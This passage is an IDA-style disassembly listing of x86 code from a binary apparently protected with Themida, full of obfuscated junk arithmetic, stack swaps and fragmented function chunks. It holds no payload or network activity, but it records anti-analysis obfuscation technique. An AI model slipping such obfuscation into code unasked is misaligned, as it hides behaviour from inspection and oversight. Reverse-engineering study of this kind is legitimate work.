		sub	esp, 4
		mov	[esp], esp
		push	esi
		push	3696h
		mov	[esp], edx
		jmp	loc_595A5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_593AB0:				; CODE XREF: sub_592A4E+3BBBj
		xor	al, 0CCh
		sub	bl, al
		pop	eax
		push	67CDh
		jmp	loc_5900CA
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------


loc_593ABF:				; CODE XREF: Themida_:00590C5Aj
		pop	edx
		sub	bl, 76h
		sub	bl, al
		add	bl, 76h
		jmp	loc_595F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_593ACD:				; CODE XREF: sub_596498-524j
		add	esp, 4
		jmp	loc_58D0B8
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_593AD8:				; CODE XREF: Themida_:00590A4Ej
		mov	edx, [esp]
		add	esp, 4
		push	19B3h
		mov	[esp], edx
		push	edi
		mov	edi, 9701039h
		mov	edx, 0F68FEFCBh
		jmp	loc_595AD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593AF9:				; CODE XREF: sub_596082-5163j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		jmp	loc_58B1DC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_593B0C:				; CODE XREF: sub_590B23-BAj
		push	ecx
		mov	ecx, 5EFB3EFBh
		add	ecx, 113B5D4h
		add	ebp, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	sub_59569E
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------


loc_593B25:				; CODE XREF: Themida_:0058FE1Dj
		xor	ebx, [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 3FC60E94h
		sub	ecx, 6DDF20F9h
		xchg	edx, ecx
		neg	edx
		xchg	edx, ecx
		sub	ecx, 2E191261h
		sub	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 22256101h
		sub	ecx, 360D72FFh
		jno	loc_592041
		not	ecx
		neg	ecx
		jg	loc_58FF0B
		shl	ecx, 8
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593B80:				; CODE XREF: sub_58E66C-16FEj
		add	eax, 0F074291h
		xor	eax, 598F25BCh
		sub	eax, 536D4AF7h
		jmp	loc_5926D1
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_593B94:				; CODE XREF: sub_596BC4-6283j
		mov	eax, ebp
		pop	ebp
		neg	eax
		sub	eax, 622B49DAh
		neg	eax
		shl	eax, 7
		push	edx
		jmp	loc_59450A
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_593BA9:				; CODE XREF: sub_594F3F-4C33j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	sub_590324
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_593BBB:				; CODE XREF: Themida_:0058FC40j
		pop	edx
		sub	edx, 73454500h
		pop	edi
		add	edx, 0FFFFFFFFh
		push	esi
		mov	esi, 6A5709A9h
		xor	edx, esi
		pop	esi
		add	ebx, 9DE6AEAh
		sub	ebx, 2BF32EFh
		add	ebx, edx
		add	ebx, 2BF32EFh
		sub	ebx, 9DE6AEAh
		jmp	loc_5951AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593BF1:				; CODE XREF: sub_596082-7248j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		jmp	loc_58E99E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_593C06:				; CODE XREF: sub_593009+1E7Dj
		pop	esi
		push	edx
		jmp	loc_5937F1
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_593C0D:				; CODE XREF: sub_5917EE+5892j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		mov	esi, [esp+0]
		add	esp, 4
		sub	edx, 5456189Eh
		inc	edx
		and	edx, 750382Fh
		add	edx, 73346A66h
		push	esi
		mov	esi, 5530818Bh
		xor	edx, esi
		pop	esi
		push	edx
		sub	dword ptr [esp+0], 34C8077Bh
		pop	ebp
		push	ecx
		mov	ecx, 34C8077Bh
		jmp	loc_58FC59
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593C49:				; CODE XREF: sub_58E66C-2429j
		and	eax, ebx
		jmp	loc_58C3C9
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C4A4


loc_593C50:				; CODE XREF: sub_58C4A4+ADE7j
		add	esp, 4
		add	ebp, 2
		jmp	loc_5900AF
; END OF FUNCTION CHUNK	FOR sub_58C4A4
; ---------------------------------------------------------------------------


loc_593C5E:				; CODE XREF: Themida_:00595F08j
		pop	esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58E346
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593C7C:				; CODE XREF: sub_596082-6B11j
		and	ebp, 729674B6h
		jmp	loc_590A14
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_593C96:				; CODE XREF: sub_58C878+4526j
		mov	ecx, 1F413F30h
		xor	ecx, 228D0187h
		and	edi, ecx
		pop	ecx
		add	edi, 2B63373Fh
		push	ecx
		mov	ecx, 2F6F6FF0h
		xor	edi, ecx
		pop	ecx
		add	edx, edi
		jmp	loc_58E075
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_593CBA:				; CODE XREF: sub_58F160:loc_5940FDj
		neg	esi
		dec	esi
		neg	esi
		push	edi
		mov	edi, 0FF6E42DBh
		jmp	loc_59440A
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_593CCA:				; CODE XREF: Themida_:0058FAB1j
		xor	dl, 13h
		sub	al, dl
		pop	edx
		push	18D6h
		mov	[esp], ebx
		push	edx
		mov	dh, 0C7h
		mov	bh, dh
		pop	edx
		jmp	loc_596D1F
; ---------------------------------------------------------------------------


loc_593CE3:				; CODE XREF: Themida_:005967A4j
		pop	esi
		not	edx
		dec	edx
		neg	edx
		xor	edx, 5D0B5F83h
		sub	ebp, 68C31495h
		add	ebp, edx
		add	ebp, 68C31495h
		jmp	loc_591B0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593D02:				; CODE XREF: sub_596082-1A8Ej
		push	[esp+18h+var_18]
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_58E0E9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593D0D:				; CODE XREF: Themida_:0059510Fj
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		jmp	loc_58CDC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_593D22:				; CODE XREF: sub_58F160-1A99j
		jmp	loc_590CF9
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593D27:				; CODE XREF: sub_596082-A56Bj
		pop	eax
		push	edi
		jmp	loc_58C91F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_593D2E:				; CODE XREF: sub_593009-7458j
		mov	ebp, edx
		jmp	loc_58C137
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_593D35:				; CODE XREF: sub_594EC6+1E19j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_595103
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_593D49:				; CODE XREF: sub_5F45E7:loc_58F02Aj
		inc	cl
		jl	loc_596518
		xor	cl, 0ECh
		add	cl, 0E0h
		jmp	loc_5952C3
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
		pop	esi


loc_593D5D:				; CODE XREF: Themida_:0058D0A7j
		jmp	loc_58AA78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_593D62:				; CODE XREF: sub_594F3F+1783j
		mov	[esp+8+var_8], esi
		mov	esi, 366A672Fh
		add	esi, 530A7C9Bh
		or	esi, 661C1D95h
		xor	esi, 2AE17E41h
		add	esi, 8F57DE68h
		sub	eax, esi
		pop	esi
		add	eax, edx
		add	eax, 54F56006h
		mov	ecx, [eax]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		mov	edx, [esp+0]
		push	ebx
		jmp	loc_59030A
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_593DA0:				; CODE XREF: Themida_:0058DDC5j
		add	ax, 0D7Eh
		pop	bx
		jmp	loc_5937A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593DAB:				; CODE XREF: sub_596082-7704j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		jmp	loc_58C1F9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_593DC2:				; CODE XREF: sub_58F160-4B07j
		pop	eax
		add	ch, 0CCh
		xor	ch, 84h
		xor	al, ch
		pop	ecx
		jmp	loc_59134C
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593983


loc_593DD1:				; CODE XREF: sub_593983-651Dj
		pop	edi
		push	esi
		jmp	loc_59418E
; END OF FUNCTION CHUNK	FOR sub_593983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593DD8:				; CODE XREF: sub_596082+18Bj
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_58BB0F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593DE6:				; CODE XREF: Themida_:005975E6j
		pop	esp
		jmp	loc_5943B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1BA


loc_593DEC:				; CODE XREF: sub_58E1BA-91j
		mov	ecx, 74451368h
		add	eax, ecx
		jmp	loc_596467
; END OF FUNCTION CHUNK	FOR sub_58E1BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593DF8:				; CODE XREF: sub_596082-3817j
		xor	ebp, eax
		jmp	loc_592589
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_593DFF:				; CODE XREF: sub_58F160+8454j
		xchg	ecx, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp-10h+arg_C], edx
		jmp	loc_591069
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593E0B:				; CODE XREF: sub_596082-7F81j
		push	ecx
		jmp	loc_5973D8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593E11:				; CODE XREF: Themida_:0058D785j
		push	eax
		mov	eax, 6FA76944h
		add	[esp+4], eax
		pop	eax
		pop	edi
		sub	edi, 6FA76944h
		jmp	loc_58EC11
; ---------------------------------------------------------------------------


loc_593E28:				; CODE XREF: Themida_:00591502j
		pop	edx
		jmp	loc_58D300
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593E2E:				; CODE XREF: sub_596082-273j
		mov	eax, 4
		add	[esp+8+var_4], eax
		jmp	loc_58AF43
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593E3C:				; CODE XREF: Themida_:00595D08j
		mov	[esp], edi
		mov	edi, 2
		add	edx, edi
		jmp	loc_58D4CA
; ---------------------------------------------------------------------------


loc_593E4B:				; CODE XREF: Themida_:0058BCC8j
		and	bh, 0F5h
		push	eax
		push	ecx
		mov	cl, 0C5h
		mov	al, 6Fh
		xor	al, cl
		pop	ecx
		xor	bh, al
		pop	eax
		add	al, bh
		mov	ebx, [esp]
		push	eax
		jmp	loc_592432
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593E65:				; CODE XREF: sub_58E66C-3816j
		xor	eax, edx
		pop	edx
		sub	eax, 0D66F3332h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_58DBCA
; ---------------------------------------------------------------------------


loc_593E85:				; CODE XREF: sub_58E66C+13j
		mov	[esp+20h+var_20], edx
		push	563Bh
		mov	[esp+0], eax
		mov	eax, 1CC1A51h
		xor	eax, 7AAE31D3h
		jnp	loc_58CAE5
		sub	eax, 4E749D1h
		jnb	loc_58D5CB
		shr	eax, 7
		jnz	loc_58D62E
		and	dl, 0C7h


loc_593EB7:				; CODE XREF: sub_596082-1216j
		and	eax, 7AE5185Ah
		sub	eax, 1E68BD0Ah
		add	edx, eax
		jmp	loc_596821
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593EC8:				; CODE XREF: sub_596082-5DC3j
		mov	ebx, 240B37E8h
		jmp	loc_58ECC2
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_593ED2:				; CODE XREF: sub_58E66C-29B8j
		push	[esp+0Ch+var_8]
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_58D04F
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F6F4


loc_593EE4:				; CODE XREF: sub_58F6F4+2056j
		mov	cl, 23h
		xor	cl, dh
		pop	edx
		shl	cl, 5
		jmp	loc_58E8C2
; END OF FUNCTION CHUNK	FOR sub_58F6F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5909F8


loc_593EF1:				; CODE XREF: sub_590324-2975j
					; sub_5909F8+1j
		mov	esi, esp
		add	esi, 4
		jmp	loc_596303
; END OF FUNCTION CHUNK	FOR sub_5909F8
; ---------------------------------------------------------------------------


loc_593EFE:				; CODE XREF: Themida_:0059438Fj
		neg	ebp
		js	loc_58FBD7
		add	ebp, 0A071C662h
		mov	ecx, ebp
		pop	ebp
		dec	ecx
		shl	ecx, 3
		inc	ecx
		add	ecx, 520A1F7h
		jmp	loc_58CDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_593F1F:				; CODE XREF: sub_596FD2-BC5Aj
		xor	esi, 58FE88B1h
		or	ecx, esi
		jmp	loc_595E7F
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_593F2C:				; CODE XREF: sub_58C878+9j
		not	al
		push	ebx
		mov	bl, al
		jmp	loc_5931D4
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_593F36:				; CODE XREF: sub_593009-2931j
		add	ebx, esi
		pop	esi
		jmp	loc_58C8AC
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_593F3E:				; CODE XREF: Themida_:0058CF81j
		jo	loc_594536
		jmp	loc_58D047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_593F49:				; CODE XREF: sub_58F160+6A5Bj
		shr	ebx, 1
		sub	ebx, 176B0FC7h
		push	eax
		mov	eax, 1
		sub	ebx, eax
		pop	eax
		jmp	loc_58EFC2
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_593F5F:				; CODE XREF: Themida_:0058D01Cj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58AC9D
; ---------------------------------------------------------------------------


loc_593F6D:				; CODE XREF: Themida_:005932B4j
		jmp	loc_592EA2
; ---------------------------------------------------------------------------


loc_593F72:				; CODE XREF: Themida_:0059297Bj
		push	edx
		mov	edx, 78151500h
		mov	ebx, 87EAEB04h
		jmp	loc_58EBA1
; ---------------------------------------------------------------------------


loc_593F82:				; CODE XREF: Themida_:0058CF19j
		add	edi, 4
		push	ebp
		push	edx
		jmp	loc_5932DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_593F8F:				; CODE XREF: sub_596082:loc_58F2D0j
					; Themida_:0059241Ej
		pop	ecx
		push	ebx
		sub	[esp+14h+var_14], 52500518h
		jmp	loc_591D86
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_593F9D:				; CODE XREF: Themida_:loc_58D122j
		xor	ebx, 70593355h
		jno	loc_58B3C6
		neg	ebx
		jmp	loc_595CD3
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		shr	byte ptr [esp],	cl
		pushf
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4A34h
		mov	[esp], ecx
		jmp	loc_58B003
; ---------------------------------------------------------------------------


loc_593FD8:				; CODE XREF: Themida_:0058F2ADj
		push	edi
		jmp	loc_594CE7
; ---------------------------------------------------------------------------


loc_593FDE:				; CODE XREF: Themida_:0058DCB2j
		push	edx
		mov	edx, 218D58A4h
		inc	edx
		inc	edx
		dec	edx
		push	eax
		jmp	loc_58C58D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2D6


loc_593FED:				; CODE XREF: sub_58E2D6+2969j
		mov	ebp, 4EFB05F4h
		and	ebp, 0A25755Fh
		neg	ebp
		add	ebp, 129E3E2Ah
		add	eax, ebp
		pop	ebp
		inc	eax
		dec	eax
		add	eax, 85020879h
		and	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 4253373Ch
		shr	ebp, 4
		jmp	loc_58E321
; END OF FUNCTION CHUNK	FOR sub_58E2D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_59401B:				; CODE XREF: sub_58B09E+3FBj
		pop	edi
		inc	ebx
		push	17E5h
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 15621431h
		jmp	loc_58A60A
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
		xor	[esp], bh
		xor	bh, [esp]
		xor	[esp], bh
		xchg	dl, bh
		xchg	bh, dl
		not	bh
		jmp	loc_591EDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594043:				; CODE XREF: Themida_:0058A728j
					; sub_596082-2628j
		push	edi
		mov	di, 571Dh
		jmp	loc_596523
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4D60h
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_596EE7
; ---------------------------------------------------------------------------


loc_594074:				; CODE XREF: Themida_:00597598j
		jmp	loc_5936F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594079:				; CODE XREF: sub_596082-B506j
		xor	al, cl
		jmp	loc_591B45
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_594080:				; CODE XREF: sub_5952B4-5402j
		add	ebp, ecx
		pop	ecx
		sub	ebp, ecx
		sub	ebp, 1C004421h
		pop	ecx
		push	ebp
		jmp	loc_58DE2F
; END OF FUNCTION CHUNK	FOR sub_5952B4
; ---------------------------------------------------------------------------


loc_594092:				; CODE XREF: Themida_:00590312j
		mov	ebx, 7C5F3185h
		sub	ebx, 1FF925D4h
		add	eax, ebx
		pop	ebx
		push	2A54h
		mov	[esp], eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 29F53550h
		jmp	loc_593844
; ---------------------------------------------------------------------------


loc_5940B6:				; CODE XREF: Themida_:00591962j
		sub	ecx, 2FD51857h
		add	ecx, 0B0B38C0Fh
		or	edx, ecx
		pop	ecx
		or	edx, 66882F69h
		jle	loc_591735
		not	edx
		jmp	loc_58EEDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5940D8:				; CODE XREF: sub_58E66C+50E3j
					; sub_58E66C+7027j
		xchg	esi, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		or	ecx, ecx
		jz	sub_5917EE
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+16h+var_18+2]
		jmp	loc_58EE50
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5940FD:				; CODE XREF: sub_58F160-354Dj
		jmp	loc_593CBA
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_594102:				; CODE XREF: sub_596082-89Bj
		jnz	loc_58DBB5
		push	eax
		mov	eax, 0E157FAFCh
		jmp	loc_58EB42
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		add	dl, 72h
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_594117:				; CODE XREF: sub_58D6A0+614Cj
		and	ecx, 577D3147h
		dec	ecx
		not	ecx
		dec	ecx
		jmp	loc_596878
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_594126:				; CODE XREF: sub_593009-225Cj
		push	0B3h
		mov	[esp-2Ch+arg_28], ebp
		jmp	loc_59658E
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_594133:				; CODE XREF: Themida_:0058E283j
		mov	[esp], ecx
		jmp	loc_591A86
; ---------------------------------------------------------------------------


loc_59413B:				; CODE XREF: Themida_:00591E05j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_594140:				; CODE XREF: Themida_:0058EAC8j
		add	edx, eax
		pop	eax
		sub	esi, edx
		mov	edx, [esp]
		jmp	loc_58D75F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59414D:				; CODE XREF: sub_58E66C-B80j
		mov	[esp+0Ch+var_C], edi
		mov	edi, 800h
		and	eax, edi
		jmp	loc_58D1E5
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_59415C:				; CODE XREF: sub_58E91C+5123j
		mov	ebx, 539202B4h
		mov	eax, 53920234h
		xor	eax, ebx
		push	[esp+4+var_4]
		pop	ebx
		push	46A6h
		mov	[esp+8+var_8], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+0Ch+var_8]
		pop	eax
		pop	[esp+0Ch+var_C]
		jmp	loc_59001C
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593983


loc_59418E:				; CODE XREF: sub_593983+450j
		mov	esi, ebp
		jmp	loc_58F016
; END OF FUNCTION CHUNK	FOR sub_593983
; ---------------------------------------------------------------------------


loc_594195:				; CODE XREF: Themida_:00597658j
		mov	edx, 0D782EDDFh
		add	edx, ecx
		pop	ecx
		jmp	loc_5963E8
; ---------------------------------------------------------------------------


loc_5941A2:				; CODE XREF: Themida_:00595E6Aj
		push	esi
		mov	esi, 11781BD8h
		xor	esi, 11781BDCh
		push	edx
		mov	edx, 6F2A0A65h
		sub	eax, edx
		pop	edx
		add	eax, esi
		jmp	loc_591154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_5941BE:				; CODE XREF: sub_59236E-28DFj
		mov	[esp+10h+var_10], edx
		push	359h
		mov	[esp+0], eax
		jmp	loc_58B1B9
; END OF FUNCTION CHUNK	FOR sub_59236E

; =============== S U B	R O U T	I N E =======================================



sub_5941CE	proc near		; CODE XREF: sub_596082-B96Ej

; FUNCTION CHUNK AT 0058FF32 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00595D0D SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059643D SIZE 00000006 BYTES

		push	ebp
		mov	ebp, 612F735Ch
		jmp	loc_59643D
sub_5941CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5941D9:				; CODE XREF: sub_596082:loc_591CB8j
		sub	eax, 2AD36A76h
		jnb	loc_5977F9
		xor	eax, 192A6C6Eh
		jns	loc_592599
		sub	esp, 4
		mov	[esp+20h+var_20], ebp
		mov	ebp, 1C3A582Eh
		neg	ebp
		shl	ebp, 6
		jmp	loc_594DF1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_594204:				; CODE XREF: Themida_:0059249Ej
		push	ecx
		mov	ecx, 6B0F1628h
		or	ecx, 38052F9Bh
		jmp	loc_58BE62
; ---------------------------------------------------------------------------


loc_594215:				; CODE XREF: Themida_:005971ABj
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	small 3664h
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_59397B

; =============== S U B	R O U T	I N E =======================================



sub_594239	proc near		; CODE XREF: sub_591C99-3CD3j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B131 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F242 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590B0F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591B3B SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_58F242
sub_594239	endp

; ---------------------------------------------------------------------------


loc_594247:				; CODE XREF: Themida_:00591514j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		push	esi
		mov	esi, 14115099h
		jmp	loc_592FB3

; =============== S U B	R O U T	I N E =======================================



sub_59425A	proc near		; CODE XREF: sub_596BF6-255j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0058C145 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C886 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058CFE7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D1FF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D455 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059046F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00590AA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00591AC7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00591BC1 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005936B7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005946F9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00595317 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00595564 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059744F SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 5F121C80h
		add	ebx, 227A652Bh
		sub	ebx, eax
		sub	ebx, 227A652Bh
		jmp	loc_58C886
sub_59425A	endp

; ---------------------------------------------------------------------------


loc_594278:				; CODE XREF: Themida_:00595B86j
		mov	esi, esp
		jmp	loc_58A8D1
; ---------------------------------------------------------------------------


loc_59427F:				; CODE XREF: Themida_:00596859j
		mov	esi, 5362033Ah
		add	eax, esi
		pop	esi
